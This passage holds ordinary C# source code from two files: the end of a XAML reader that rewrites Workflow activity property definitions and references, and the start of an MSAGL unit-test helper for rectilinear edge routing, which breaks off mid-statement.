the subnodes, possibly discarding top-level whitespace from WhitespaceSignificantCollection subReader.Read(); while (!subReader.IsEof) { bool isWhitespaceNode = false; if (subReader.NodeType == XamlNodeType.Value) { string stringValue = subReader.Value as string; if (stringValue != null && stringValue.Trim().Length == 0) { isWhitespaceNode = true; } } if (isWhitespaceNode && stripWhitespace) { subReader.Read(); } else { XamlWriterExtensions.Transform(subReader.ReadSubtree(), this.nodeQueue.Writer, this.innerReaderLineInfo, false); } } // close the GetObject added above. Note that we are doing EndObject/EndMember after the last node (EndMember) // rather than inserting EndMember/EndObject before the last EndMember since all EndMembers are interchangable from a state perspective this.nodeQueue.Writer.WriteEndObject(this.innerReaderLineInfo); this.nodeQueue.Writer.WriteEndMember(this.innerReaderLineInfo); subReader.Close(); // we hand exited a member where we had increased the depth manually, so record that fact ExitObject(); } // when Read hits StartObject or GetObject void EnterObject() { this.depth++; if (this.depth >= 2) { this.frontLoadedDirectives = false; } } // when Read hits EndObject or EndMember void ExitObject() { if (this.depth <= this.inXClassDepth) { this.inXClassDepth = 0; } this.depth--; this.frontLoadedDirectives = false; if (this.depth == 1) { this.builderStack = null; } else if (this.depth == 0) { // we're about to write out the last tag. Dump our accrued properties // as no more property values are forthcoming. if (this.bufferedProperties != null) { this.bufferedProperties.FlushTo(this.nodeQueue, this); } } } bool IsXClassName(XamlType xamlType) { if (xamlType == null || this.xClassName == null || xamlType.Name != this.xClassName.Name) { return false; } // this code is kept for back compatible string preferredNamespace = xamlType.PreferredXamlNamespace; if (preferredNamespace.Contains(clrNamespacePart)) { return IsXClassName(preferredNamespace); } // GetXamlNamespaces is a superset of PreferredXamlNamespace, it's not a must for the above code // to check for preferredXamlNamespace, but since the old code uses .Contains(), which was a minor bug, // we decide to use StartsWith in new code and keep the old code for back compatible reason. IList<string> namespaces = xamlType.GetXamlNamespaces(); foreach (string ns in namespaces) { if (ns.StartsWith(clrNamespacePart, StringComparison.Ordinal)) { return IsXClassName(ns); } } return false; } bool IsXClassName(string ns) { string clrNamespace = ns.Substring(clrNamespacePart.Length); int lastIndex = clrNamespace.IndexOf(';'); if (lastIndex < 0 || lastIndex > clrNamespace.Length) { lastIndex = clrNamespace.Length; } string @namespace = clrNamespace.Substring(0, lastIndex); return this.xClassName.Namespace == @namespace; } static void IncrementIfPositive(ref int a) { if (a > 0) { a++; } } static void DecrementIfPositive(ref int a) { if (a > 0) { a--; } } // This class tracks the information we need to be able to convert // <PropertyReferenceExtension> into <ActivityBuilder.PropertyReferences> class BuilderStack { readonly XamlType activityPropertyReferenceXamlType; readonly XamlMember activityBuilderPropertyReferencesMember; readonly XamlMember activityPropertyReferenceSourceProperty; readonly XamlMember activityPropertyReferenceTargetProperty; MemberInformation bufferedMember; DynamicActivityXamlReader parent; Stack<Frame> stack; public BuilderStack(DynamicActivityXamlReader parent) { this.parent = parent; this.stack = new Stack<Frame>(); this.activityPropertyReferenceXamlType = parent.schemaContext.GetXamlType(typeof(ActivityPropertyReference)); this.activityPropertyReferenceSourceProperty = this.activityPropertyReferenceXamlType.GetMember("SourceProperty"); this.activityPropertyReferenceTargetProperty = this.activityPropertyReferenceXamlType.GetMember("TargetProperty"); XamlType typeOfActivityBuilder = parent.schemaContext.GetXamlType(typeof(ActivityBuilder)); this.activityBuilderPropertyReferencesMember = typeOfActivityBuilder.GetAttachableMember("PropertyReferences"); } string ReadPropertyReferenceExtensionPropertyName(XamlReader reader) { string sourceProperty = null; reader.Read(); while (!reader.IsEof && reader.NodeType != XamlNodeType.EndObject) { if (IsExpectedPropertyReferenceMember(reader)) { string propertyName = ReadPropertyName(reader); if (propertyName != null) { sourceProperty = propertyName; } } else { // unexpected members. // For compat with 4.0, unexpected members on PropertyReferenceExtension // are silently ignored reader.Skip(); } } return sourceProperty; } // Whenever we encounter a StartMember, we buffer it (and any namespace nodes folllowing it) // until we see its contents (SO/GO/V). // If the content is a PropertyReferenceExtension, then we convert it to an ActivityPropertyReference // in the parent object's ActivityBuilder.PropertyReference collection, and dont' write out the member. // If the content is not a PropertyReferenceExtension, or there's no content (i.e. we hit an EM), // we flush the buffered SM + NS*, and continue as normal. public void ProcessNode(XamlReader reader, IXamlLineInfo lineInfo, XamlWriter targetWriter, out bool writeNodeToOutput) { writeNodeToOutput = true; switch (reader.NodeType) { case XamlNodeType.StartMember: this.bufferedMember = new MemberInformation(reader.Member, lineInfo); writeNodeToOutput = false; break; case XamlNodeType.EndMember: FlushBufferedMember(targetWriter); if (this.stack.Count > 0) { Frame curFrame = this.stack.Peek(); if (curFrame.SuppressNextEndMember) { writeNodeToOutput = false; curFrame.SuppressNextEndMember = false; } } break; case XamlNodeType.StartObject: Frame newFrame; if (IsPropertyReferenceExtension(reader.Type) && this.bufferedMember.IsSet) { MemberInformation targetMember = this.bufferedMember; this.bufferedMember = MemberInformation.None; WritePropertyReferenceFrameToParent(targetMember, ReadPropertyReferenceExtensionPropertyName(reader), this.stack.Peek(), lineInfo); writeNodeToOutput = false; break; } else { FlushBufferedMember(targetWriter); newFrame = new Frame(); } this.stack.Push(newFrame); break; case XamlNodeType.GetObject: FlushBufferedMember(targetWriter); this.stack.Push(new Frame()); break; case XamlNodeType.EndObject: Frame frame = this.stack.Pop(); if (frame.PropertyReferences != null) { WritePropertyReferenceCollection(frame.PropertyReferences, targetWriter, lineInfo); } break; case XamlNodeType.Value: FlushBufferedMember(targetWriter); break; case XamlNodeType.NamespaceDeclaration: if (this.bufferedMember.IsSet) { if (this.bufferedMember.FollowingNamespaces == null) { this.bufferedMember.FollowingNamespaces = new XamlNodeQueue(this.parent.schemaContext); } this.bufferedMember.FollowingNamespaces.Writer.WriteNode(reader, lineInfo); writeNodeToOutput = false; } break; } } void FlushBufferedMember(XamlWriter targetWriter) { if (this.bufferedMember.IsSet) { this.bufferedMember.Flush(targetWriter); this.bufferedMember = MemberInformation.None; } } bool IsPropertyReferenceExtension(XamlType type) { return type != null && type.IsGeneric && type.UnderlyingType != null && type.Name == "PropertyReferenceExtension" && type.UnderlyingType.GetGenericTypeDefinition() == typeof(PropertyReferenceExtension<>); } bool IsExpectedPropertyReferenceMember(XamlReader reader) { return reader.NodeType == XamlNodeType.StartMember && IsPropertyReferenceExtension(reader.Member.DeclaringType) && reader.Member.Name == "PropertyName"; } string ReadPropertyName(XamlReader reader) { Fx.Assert(reader.Member.Name == "PropertyName", "Exepcted PropertyName member"); string result = null; while (reader.Read() && reader.NodeType != XamlNodeType.EndMember) { // For compat with 4.0, we only need to support PropertyName as Value node if (reader.NodeType == XamlNodeType.Value) { string propertyName = reader.Value as string; if (propertyName != null) { result = propertyName; } } } if (reader.NodeType == XamlNodeType.EndMember) { // Our parent will never see this EndMember node so we need to force its // depth count to decrement this.parent.ExitObject(); } return result; } void WritePropertyReferenceCollection(XamlNodeQueue serializedReferences, XamlWriter targetWriter, IXamlLineInfo lineInfo) { targetWriter.WriteStartMember(this.activityBuilderPropertyReferencesMember, lineInfo); targetWriter.WriteGetObject(lineInfo); targetWriter.WriteStartMember(XamlLanguage.Items, lineInfo); XamlServices.Transform(serializedReferences.Reader, targetWriter, false); targetWriter.WriteEndMember(lineInfo); targetWriter.WriteEndObject(lineInfo); targetWriter.WriteEndMember(lineInfo); } void WritePropertyReferenceFrameToParent(MemberInformation targetMember, string sourceProperty, Frame parentFrame, IXamlLineInfo lineInfo) { if (parentFrame.PropertyReferences == null) { parentFrame.PropertyReferences = new XamlNodeQueue(this.parent.schemaContext); } WriteSerializedPropertyReference(parentFrame.PropertyReferences.Writer, lineInfo, targetMember.Member.Name, sourceProperty); // we didn't write out the target // StartMember, so suppress the EndMember parentFrame.SuppressNextEndMember = true; } void WriteSerializedPropertyReference(XamlWriter targetWriter, IXamlLineInfo lineInfo, string targetName, string sourceName) { // Line Info for the entire <ActivityPropertyReference> element // comes from the end of the <PropertyReference> tag targetWriter.WriteStartObject(this.activityPropertyReferenceXamlType, lineInfo); targetWriter.WriteStartMember(this.activityPropertyReferenceTargetProperty, lineInfo); targetWriter.WriteValue(targetName, lineInfo); targetWriter.WriteEndMember(lineInfo); if (sourceName != null) { targetWriter.WriteStartMember(this.activityPropertyReferenceSourceProperty, lineInfo); targetWriter.WriteValue(sourceName, lineInfo); targetWriter.WriteEndMember(lineInfo); } targetWriter.WriteEndObject(lineInfo); } struct MemberInformation { public static MemberInformation None = new MemberInformation(); public XamlMember Member { get; set; } public int LineNumber { get; set; } public int LinePosition { get; set; } public XamlNodeQueue FollowingNamespaces { get; set; } public MemberInformation(XamlMember member, IXamlLineInfo lineInfo) : this() { Member = member; if (lineInfo != null) { LineNumber = lineInfo.LineNumber; LinePosition = lineInfo.LinePosition; } } public bool IsSet { get { return this.Member != null; } } public void Flush(XamlWriter targetWriter) { targetWriter.WriteStartMember(Member, LineNumber, LinePosition); if (FollowingNamespaces != null) { XamlServices.Transform(FollowingNamespaces.Reader, targetWriter, false); } } } class Frame { public XamlNodeQueue PropertyReferences { get; set; } public bool SuppressNextEndMember { get; set; } } } // This class exists to "zip" together <x:Member> property definitions (to be rewritten as <DynamicActivityProperty> nodes) // with their corresponding default values <MyClass.Foo> (to be rewritten as <DynamicActivityProperty.Value> nodes). // Definitions come all at once, but values could come anywhere in the XAML document, so we save them all almost until the end of // the document and write them all out at once using BufferedPropertyList.CopyTo(). class BufferedPropertyList { Dictionary<string, ActivityPropertyHolder> propertyHolders; Dictionary<string, ValueHolder> valueHolders; XamlNodeQueue outerNodes; DynamicActivityXamlReader parent; bool alreadyBufferedDefinitions; public BufferedPropertyList(DynamicActivityXamlReader parent) { this.parent = parent; this.outerNodes = new XamlNodeQueue(parent.SchemaContext); } // Called inside of an x:Members--read up to </x:Members>, buffering definitions public void BufferDefinitions(DynamicActivityXamlReader parent) { XamlReader subReader = parent.innerReader.ReadSubtree(); IXamlLineInfo readerLineInfo = parent.innerReaderLineInfo; // 1) swap out the start member with <DynamicActivity.Properties> subReader.Read(); Fx.Assert(subReader.NodeType == XamlNodeType.StartMember && subReader.Member == XamlLanguage.Members, "Should be inside of x:Members before calling BufferDefinitions"); this.outerNodes.Writer.WriteStartMember(parent.activityReplacementXamlType.GetMember("Properties"), readerLineInfo); // x:Members directive has no following GetObject, but Properties does since it's not a directive this.outerNodes.Writer.WriteGetObject(readerLineInfo); this.outerNodes.Writer.WriteStartMember(XamlLanguage.Items, readerLineInfo); // 2) process the subnodes and store them in either ActivityPropertyHolders, // or exigent nodes in the outer node list bool continueReading = subReader.Read(); while (continueReading) { if (subReader.NodeType == XamlNodeType.StartObject && subReader.Type == XamlLanguage.Property) { // we found an x:Property. Store it in an ActivityPropertyHolder ActivityPropertyHolder newProperty = new ActivityPropertyHolder(parent, subReader.ReadSubtree()); this.PropertyHolders.Add(newProperty.Name, newProperty); // and stash away a proxy node to map later this.outerNodes.Writer.WriteValue(newProperty, readerLineInfo); // ActivityPropertyHolder consumed the subtree, so we don't need to pump a Read() in this path } else { // it's not an x:Property. Store it in our extra node list this.outerNodes.Writer.WriteNode(subReader, readerLineInfo); continueReading = subReader.Read(); } } // close the GetObject added above. Note that we are doing EndObject/EndMember after the last node (EndMember) // rather than inserting EndMember/EndObject before the last EndMember since all EndMembers are interchangable from a state perspective this.outerNodes.Writer.WriteEndObject(readerLineInfo); this.outerNodes.Writer.WriteEndMember(readerLineInfo); subReader.Close(); this.alreadyBufferedDefinitions = true; FlushValueHolders(); } void FlushValueHolders() { // We've seen all the property definitions we're going to see. Write out any values already accumulated. // If we have picked up any values already before definitions, process them immediately // (and throw as usual if corresponding definition doesn't exist) if (this.valueHolders != null) { foreach (KeyValuePair<string, ValueHolder> propertyNameAndValue in this.valueHolders) { ProcessDefaultValue(propertyNameAndValue.Key, propertyNameAndValue.Value.PropertyValue, propertyNameAndValue.Value.ValueReader, propertyNameAndValue.Value.ValueReader as IXamlLineInfo); } this.valueHolders = null; // So we don't flush it again at close } } Dictionary<string, ActivityPropertyHolder> PropertyHolders { get { if (this.propertyHolders == null) { this.propertyHolders = new Dictionary<string, ActivityPropertyHolder>(); } return this.propertyHolders; } } public void BufferDefaultValue(string propertyName, XamlMember propertyValue, XamlReader reader, IXamlLineInfo lineInfo) { if (this.alreadyBufferedDefinitions) { ProcessDefaultValue(propertyName, propertyValue, reader.ReadSubtree(), lineInfo); } else { if (this.valueHolders == null) { this.valueHolders = new Dictionary<string, ValueHolder>(); } ValueHolder savedValue = new ValueHolder(this.parent.SchemaContext, propertyValue, reader, lineInfo); valueHolders[propertyName] = savedValue; } } public void ProcessDefaultValue(string propertyName, XamlMember propertyValue, XamlReader reader, IXamlLineInfo lineInfo) { ActivityPropertyHolder propertyHolder; if (!this.PropertyHolders.TryGetValue(propertyName, out propertyHolder)) { throw FxTrace.Exception.AsError(CreateXamlException(SR.InvalidProperty(propertyName), lineInfo)); } propertyHolder.ProcessDefaultValue(propertyValue, reader, lineInfo); } public void FlushTo(XamlNodeQueue targetNodeQueue, DynamicActivityXamlReader parent) { FlushValueHolders(); XamlReader sourceReader = this.outerNodes.Reader; IXamlLineInfo sourceReaderLineInfo = parent.hasLineInfo ? sourceReader as IXamlLineInfo : null; while (sourceReader.Read()) { if (sourceReader.NodeType == XamlNodeType.Value) { ActivityPropertyHolder propertyHolder = sourceReader.Value as ActivityPropertyHolder; if (propertyHolder != null) { // replace ActivityPropertyHolder with its constituent nodes propertyHolder.CopyTo(targetNodeQueue, sourceReaderLineInfo); continue; } } targetNodeQueue.Writer.WriteNode(sourceReader, sourceReaderLineInfo); } } // Buffer property values until we can match them with definitions class ValueHolder { XamlNodeQueue nodes; public ValueHolder(XamlSchemaContext schemaContext, XamlMember propertyValue, XamlReader reader, IXamlLineInfo lineInfo) { this.nodes = new XamlNodeQueue(schemaContext); this.PropertyValue = propertyValue; XamlWriterExtensions.Transform(reader.ReadSubtree(), this.nodes.Writer, lineInfo, true); } public XamlMember PropertyValue { get; private set; } public XamlReader ValueReader { get { return this.nodes.Reader; } } } class ActivityPropertyHolder { // the nodes that we'll pump at the end XamlNodeQueue nodes; DynamicActivityXamlReader parent; public ActivityPropertyHolder(DynamicActivityXamlReader parent, XamlReader reader) { this.parent = parent; this.nodes = new XamlNodeQueue(parent.SchemaContext); IXamlLineInfo readerLineInfo = parent.innerReaderLineInfo; // parse the subtree, and extract out the Name and Type for now. // keep the node-list open for now, just in case a default value appears // later in the document // Rewrite "<x:Property>" to "<DynamicActivityProperty>" reader.Read(); this.nodes.Writer.WriteStartObject(parent.activityPropertyXamlType, readerLineInfo); int depth = 1; int nameDepth = 0; int typeDepth = 0; bool continueReading = reader.Read(); while (continueReading) { switch (reader.NodeType) { case XamlNodeType.StartMember: // map <x:Property> membes to the appropriate <DynamicActivity.Property> members if (reader.Member.DeclaringType == XamlLanguage.Property) { XamlMember mappedMember = reader.Member; if (mappedMember == xPropertyName) { mappedMember = parent.activityPropertyName; if (nameDepth == 0) { nameDepth = 1; } } else if (mappedMember == xPropertyType) { mappedMember = parent.activityPropertyType; if (typeDepth == 0) { typeDepth = 1; } } else if (mappedMember == xPropertyAttributes) { mappedMember = parent.activityPropertyAttributes; } else { throw FxTrace.Exception.AsError(CreateXamlException(SR.PropertyMemberNotSupportedByActivityXamlServices(mappedMember.Name), readerLineInfo)); } this.nodes.Writer.WriteStartMember(mappedMember, readerLineInfo); continueReading = reader.Read(); continue; } break; case XamlNodeType.Value: if (nameDepth == 1) { // We only support property name as an attribute (nameDepth == 1) this.Name = reader.Value as string; } else if (typeDepth == 1) { // We only support property type as an attribute (typeDepth == 1) XamlTypeName xamlTypeName = XamlTypeName.Parse(reader.Value as string, parent.namespaceTable); XamlType xamlType = parent.SchemaContext.GetXamlType(xamlTypeName); if (xamlType == null) { throw FxTrace.Exception.AsError(CreateXamlException(SR.InvalidPropertyType(reader.Value as string, this.Name), readerLineInfo)); } this.Type = xamlType; } break; case XamlNodeType.StartObject: case XamlNodeType.GetObject: depth++; IncrementIfPositive(ref nameDepth); IncrementIfPositive(ref typeDepth); if (typeDepth > 0 && reader.Type == parent.xamlTypeXamlType) { this.nodes.Writer.WriteStartObject(parent.typeXamlType, readerLineInfo); continueReading = reader.Read(); continue; } break; case XamlNodeType.EndObject: depth--; if (depth == 0) { continueReading = reader.Read(); continue; // skip this node, we'll close it by hand in CopyTo() } DecrementIfPositive(ref nameDepth); DecrementIfPositive(ref typeDepth); break; case XamlNodeType.EndMember: DecrementIfPositive(ref nameDepth); DecrementIfPositive(ref typeDepth); break; } // if we didn't continue (from a mapped case), just copy over this.nodes.Writer.WriteNode(reader, readerLineInfo); continueReading = reader.Read(); } reader.Close(); } public string Name { get; private set; } public XamlType Type { get; private set; } // called when we've reached the end of the activity and need // to extract out the resulting data into our activity-wide node list public void CopyTo(XamlNodeQueue targetNodeQueue, IXamlLineInfo readerInfo) { // first copy any buffered nodes XamlServices.Transform(this.nodes.Reader, targetNodeQueue.Writer, false); // then write the end node for this property targetNodeQueue.Writer.WriteEndObject(readerInfo); } public void ProcessDefaultValue(XamlMember propertyValue, XamlReader subReader, IXamlLineInfo lineInfo) { bool addedStartObject = false; // 1) swap out the start member with <ActivityProperty.Value> subReader.Read(); if (!subReader.Member.IsNameValid) { throw FxTrace.Exception.AsError(CreateXamlException(SR.InvalidXamlMember(subReader.Member.Name), lineInfo)); } this.nodes.Writer.WriteStartMember(propertyValue, lineInfo); // temporary hack: read past GetObject/StartMember nodes that are added by // the XAML stack. This has been fixed in the WPF branch, but we haven't FI'ed that yet XamlReader valueReader; subReader.Read(); if (subReader.NodeType == XamlNodeType.GetObject) { subReader.Read(); subReader.Read(); valueReader = subReader.ReadSubtree(); valueReader.Read(); } else { valueReader = subReader; } // Add SO tag if necessary UNLESS there's no value to wrap (which means we're already at EO) if (valueReader.NodeType != XamlNodeType.EndMember && valueReader.NodeType != XamlNodeType.StartObject) { addedStartObject = true; // Add <TypeOfProperty> nodes so that type converters work correctly this.nodes.Writer.WriteStartObject(this.Type, lineInfo); this.nodes.Writer.WriteStartMember(XamlLanguage.Initialization, lineInfo); } // 3) copy over the value while (!valueReader.IsEof) { this.nodes.Writer.WriteNode(valueReader, lineInfo); valueReader.Read(); } valueReader.Close(); // 4) close up the extra nodes if (!object.ReferenceEquals(valueReader, subReader)) { subReader.Read(); while (subReader.Read()) { this.nodes.Writer.WriteNode(subReader, lineInfo); } } if (addedStartObject) { this.nodes.Writer.WriteEndObject(lineInfo); this.nodes.Writer.WriteEndMember(lineInfo); } subReader.Close(); } } } } }
// -------------------------------------------------------------------------------------------------------------------- // <copyright file="RectilinearVerifier.cs" company="Microsoft"> // (c) Microsoft Corporation. All rights reserved. // </copyright> // -------------------------------------------------------------------------------------------------------------------- using System; using System.Collections.Generic; using System.Linq; using Microsoft.Msagl.Core.Geometry; using Microsoft.Msagl.Core.Geometry.Curves; using Microsoft.Msagl.Core.Layout; using Microsoft.Msagl.Routing; using Microsoft.Msagl.Routing.Rectilinear; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace Microsoft.Msagl.UnitTests.Rectilinear { using System.Diagnostics.CodeAnalysis; using Core.DataStructures; /// <summary> /// Contains test-setup utilities and calls to routing and verification functions for Rectilinear edge routing, /// and provides the single-inheritance-only propagation of MsaglTestBase. /// </summary> [TestClass] public class RectilinearVerifier : MsaglTestBase { [SuppressMessage("Microsoft.Design", "CA1002:DoNotExposeGenericLists")] protected List<int> SourceOrdinals { get; private set; } [SuppressMessage("Microsoft.Design", "CA1002:DoNotExposeGenericLists")] protected List<int> TargetOrdinals { get; private set; } // If one or both obstacle indexes are >= 0, they identify the source and target objects for routing // (otherwise, we just create the visibility graph). protected internal int DefaultSourceOrdinal { get; set; } protected internal int DefaultTargetOrdinal { get; set; } protected internal bool DefaultWantPorts { get; set; } protected internal bool RouteFromSourceToAllFreePorts { get; set; } // For useFreePortsForObstaclePorts; we don't keep the port in the Shape.Ports collection so need // to use this to track the shape. protected Dictionary<Port, Shape> FreeRelativePortToShapeMap { get; private set; } //// // RectFile header members //// internal double RouterPadding { get; set; } internal double RouterEdgeSeparation { get; set; } internal bool RouteToCenterOfObstacles { get; set; } internal double RouterArrowheadLength { get; set; } // Use FreePorts instead of ObstaclePorts internal bool UseFreePortsForObstaclePorts { get; set; } internal bool UseSparseVisibilityGraph { get; set; } internal bool UseObstacleRectangles { get; set; } internal bool LimitPortVisibilitySpliceToEndpointBoundingBox { get; set; } internal bool WantPaths { get; set; } internal bool WantNudger { get; set; } internal bool WantVerify { get; set; } internal double StraightTolerance { get; set; } internal double CornerTolerance { get; set; } internal double BendPenalty { get; set; } //// // Allow global overrides in TestRectilinear and per-file overrides in RectilinearFileTests. //// protected double? OverrideRouterPadding { get; set; } protected double? OverrideRouterEdgeSeparation { get; set; } protected bool? OverrideRouteToCenterOfObstacles { get; set; } protected double? OverrideRouterArrowheadLength { get; set; } protected bool? OverrideUseFreePortsForObstaclePorts { get; set; } protected bool? OverrideUseSparseVisibilityGraph { get; set; } protected bool? OverrideUseObstacleRectangles { get; set; } protected bool? OverrideLimitPortVisibilitySpliceToEndpointBoundingBox { get; set; } protected bool? OverrideWantPaths { get; set; } protected bool? OverrideWantNudger { get; set; } protected bool? OverrideWantVerify { get; set; } protected double? OverrideStraightTolerance { get; set; } protected double? OverrideCornerTolerance { get; set; } protected double? OverrideBendPenalty { get; set; } /// <summary> /// Do not create ports for loaded files - tests timing of VG-generation only. /// </summary> internal bool NoPorts { get; set; } internal delegate void WriteRouterResultFileFunc(RectilinearEdgeRouter router); internal WriteRouterResultFileFunc WriteRouterResultFile { get; set; } public RectilinearVerifier() { SourceOrdinals = new List<int>(); TargetOrdinals = new List<int>(); DefaultSourceOrdinal = -1; DefaultTargetOrdinal = -1; FreeRelativePortToShapeMap = new Dictionary<Port, Shape>(); InitializeMembers(); } public override void Initialize() { base.Initialize(); this.InitializeMembers(); } // Default initializer private void InitializeMembers() { this.RouterPadding = 1.0; this.RouterEdgeSeparation = 1.0; this.RouteToCenterOfObstacles = false; this.RouterArrowheadLength = 7.0; this.UseFreePortsForObstaclePorts = false; this.UseSparseVisibilityGraph = false; this.UseObstacleRectangles = false; this.LimitPortVisibilitySpliceToEndpointBoundingBox = false; this.WantPaths = true; this.WantNudger = true; this.WantVerify = true; this.StraightTolerance = 0.001; this.CornerTolerance = 0.1; this.BendPenalty = SsstRectilinearPath.DefaultBendPenaltyAsAPercentageOfDistance; this.FreeRelativePortToShapeMap.Clear(); this.OverrideMembers(); } // Initializer from file internal void InitializeMembers(RectFileReader reader) { this.RouterPadding = reader.Padding; this.RouterEdgeSeparation = reader.EdgeSeparation; this.RouteToCenterOfObstacles = reader.RouteToCenter; this.RouterArrowheadLength = reader.ArrowheadLength; this.UseFreePortsForObstaclePorts = reader.UseFreePortsForObstaclePorts; this.UseSparseVisibilityGraph = reader.UseSparseVisibilityGraph; this.UseObstacleRectangles = reader.UseObstacleRectangles; this.LimitPortVisibilitySpliceToEndpointBoundingBox = reader.LimitPortVisibilitySpliceToEndpointBoundingBox; this.WantPaths = reader.WantPaths; this.WantNudger = reader.WantNudger; this.WantVerify = reader.WantVerify; this.StraightTolerance = reader.StraightTolerance; this.CornerTolerance = reader.CornerTolerance; this.BendPenalty = reader.BendPenalty; this.FreeRelativePortToShapeMap.Clear(); this.OverrideMembers(); } // After initializing from file, some members may need to be further overridden, // either in a particular unit test or by a TestRectilinear commandline argument. protected void OverrideMembers() { this.RouterPadding = this.OverrideRouterPadding ?? this.RouterPadding; this.RouterEdgeSeparation = this.OverrideRouterEdgeSeparation ?? this.RouterEdgeSeparation; this.RouteToCenterOfObstacles = this.OverrideRouteToCenterOfObstacles ?? this.RouteToCenterOfObstacles; this.RouterArrowheadLength = this.OverrideRouterArrowheadLength ?? this.RouterArrowheadLength; this.UseFreePortsForObstaclePorts = this.OverrideUseFreePortsForObstaclePorts ?? this.UseFreePortsForObstaclePorts; this.UseSparseVisibilityGraph = this.OverrideUseSparseVisibilityGraph ?? this.UseSparseVisibilityGraph; this.UseObstacleRectangles = this.OverrideUseObstacleRectangles ?? this.UseObstacleRectangles; this.LimitPortVisibilitySpliceToEndpointBoundingBox = this.OverrideLimitPortVisibilitySpliceToEndpointBoundingBox ?? this.LimitPortVisibilitySpliceToEndpointBoundingBox; this.WantPaths = this.OverrideWantPaths ?? this.WantPaths; this.WantNudger = this.OverrideWantNudger ?? this.WantNudger; this.WantVerify = this.OverrideWantVerify ?? this.WantVerify; this.StraightTolerance = this.OverrideStraightTolerance ?? this.StraightTolerance; this.CornerTolerance = this.OverrideCornerTolerance ?? this.CornerTolerance; this.BendPenalty = this.OverrideBendPenalty ?? this.BendPenalty; } protected void ClearOverrideMembers() { this.OverrideRouterPadding = null; this.OverrideRouterEdgeSeparation = null; this.OverrideRouteToCenterOfObstacles = null; this.OverrideRouterArrowheadLength = null; this.OverrideUseFreePortsForObstaclePorts = null; this.OverrideUseSparseVisibilityGraph = null; this.OverrideUseObstacleRectangles = null; this.OverrideLimitPortVisibilitySpliceToEndpointBoundingBox = null; this.OverrideWantPaths = null; this.OverrideWantNudger = null; this.OverrideWantVerify = null; this.OverrideStraightTolerance = null; this.OverrideCornerTolerance = null; } //// //// Utilities //// /// <summary> /// This is the function that instantiates the router wrapper, overridden by TestRectilinear if not /// called from MSTest. /// </summary> /// <param name="obstacles">List of obstacles</param> /// <returns>The instantiated router</returns> internal virtual RectilinearEdgeRouterWrapper CreateRouter(IEnumerable<Shape> obstacles) { return new RectilinearEdgeRouterWrapper(obstacles, this.RouterPadding, this.RouterEdgeSeparation, this.RouteToCenterOfObstacles, this.UseSparseVisibilityGraph, this.UseObstacleRectangles) { WantNudger = this.WantNudger, WantPaths = this.WantPaths, WantVerify = this.WantVerify, StraightTolerance = this.StraightTolerance, CornerTolerance = this.CornerTolerance, BendPenaltyAsAPercentageOfDistance = this.BendPenalty, LimitPortVisibilitySpliceToEndpointBoundingBox = this.LimitPortVisibilitySpliceToEndpointBoundingBox, TestContext = this.TestContext }; } internal static List<Point> OffsetsFromRect(Rectangle rect) { var offsets = new List<Point> { new Point(rect.Left - rect.Center.X, 0), // middle of left side new Point(0, rect.Top - rect.Center.Y), // middle of top side new Point(rect.Right - rect.Center.X, 0), // middle of right side new Point(0, rect.Bottom - rect.Center.Y) // middle of bottom side }; return offsets; } // Returns the two test squares in return[0] == left, return[1] == right. internal List<Shape> CreateTwoTestSquares() { var curves = new List<Shape> { PolylineFromRectanglePoints(new Point(20, 20), new Point(100, 100)), // left PolylineFromRectanglePoints(new Point(220, 20), new Point(300, 100)) // right }; return curves; } internal Shape CreateSquare(Point center, double size) { size /= 2; return PolylineFromRectanglePoints(new Point(center.X - size, center.Y - size), new Point(center.X + size, center.Y + size)); } // Returns the two test squares in return[0] == left, return[1] == right, and sentinels as noted. internal List<Shape> CreateTwoTestSquaresWithSentinels() { var curves = CreateTwoTestSquares(); // left, right curves.Add(PolylineFromRectanglePoints(new Point(0, 20), new Point(5, 100))); // leftSentinel curves.Add(PolylineFromRectanglePoints(new Point(315, 20), new Point(320, 100))); // rightSentinel curves.Add(PolylineFromRectanglePoints(new Point(0, 115), new Point(320, 120))); // topSentinel curves.Add(PolylineFromRectanglePoints(new Point(0, 0), new Point(320, 5))); // bottomSentinel return curves; } internal static Shape PolylineFromPoints(Point[] points) { if (TriangleOrientation.Clockwise == Point.GetTriangleOrientation(points[0], points[1], points[2])) { return new Shape(new Polyline(points) { Closed = true }); } return new Shape(new Polyline(points.Reverse()) { Closed = true }); } internal static Shape CurveFromPoints(Point[] points) { var curve = new Curve(); for (int ii = 0; ii < points.Length - 1; ++ii) { curve.AddSegment(new LineSegment(points[ii], points[ii + 1])); } curve.AddSegment(new LineSegment(points[points.Length - 1], points[0])); return new Shape(curve); } protected Shape PolylineFromRectanglePoints(Point lowerLeft, Point upperRight) { return PolylineFromPoints(new[] { lowerLeft, new Point(upperRight.X, lowerLeft.Y), upperRight, new Point(lowerLeft.X, upperRight.Y) }); } internal static bool IsFirstPolylineEntirelyWithinSecond(Polyline first, Polyline second, bool touchingOk) { foreach (var firstPoint in first.PolylinePoints) { if (touchingOk) { if (Curve.PointRelativeToCurveLocation(firstPoint.Point, second) == PointLocation.Outside) { return false; } continue; } if (Curve.PointRelativeToCurveLocation(firstPoint.Point, second) != PointLocation.Inside) { return false; } } return true; } internal static bool IsFirstObstacleEntirelyWithinSecond(Obstacle first, Obstacle second, bool touchingOk) { return IsFirstPolylineEntirelyWithinSecond(first.VisibilityPolyline, second.VisibilityPolyline, touchingOk); } internal static bool ObstaclesIntersect(Obstacle first, Obstacle second) { if (first == second) { return false; } return Curve.CurvesIntersect(first.VisibilityPolyline, second.VisibilityPolyline); } internal virtual bool LogError(string message) { // TestRectilinear overrides this and handles the error so returns true. return false; } private IEnumerable<EdgeGeometry> CreateSourceToFreePortRoutings(RectilinearEdgeRouterWrapper router, List<Shape> obstacles, IEnumerable<FloatingPort> freePorts) { var routings = CreateSourceToFreePortRoutings(obstacles, this.DefaultSourceOrdinal, freePorts); this.UpdateObstaclesForSourceOrdinal(obstacles, this.DefaultSourceOrdinal, router); return routings; } private void UpdateObstaclesForSourceOrdinal(List<Shape> obstacles, int sourceOrdinal, RectilinearEdgeRouterWrapper router) { for (var idxScan = 0; idxScan < obstacles.Count; ++idxScan) { if ((idxScan != this.DefaultSourceOrdinal) && (sourceOrdinal >= 0)) { continue; } router.UpdateObstacle(obstacles[idxScan]); if (idxScan == this.DefaultSourceOrdinal) { break; } } } internal IEnumerable<EdgeGeometry> CreateSourceToFreePortRoutings(List<Shape> obstacles, int sourceObstacleIndex, IEnumerable<FloatingPort> freePorts) { if ((!RouteFromSourceToAllFreePorts && !IsDefaultRoutingState) || NoPorts) { return null; } var sourceOrdinal = 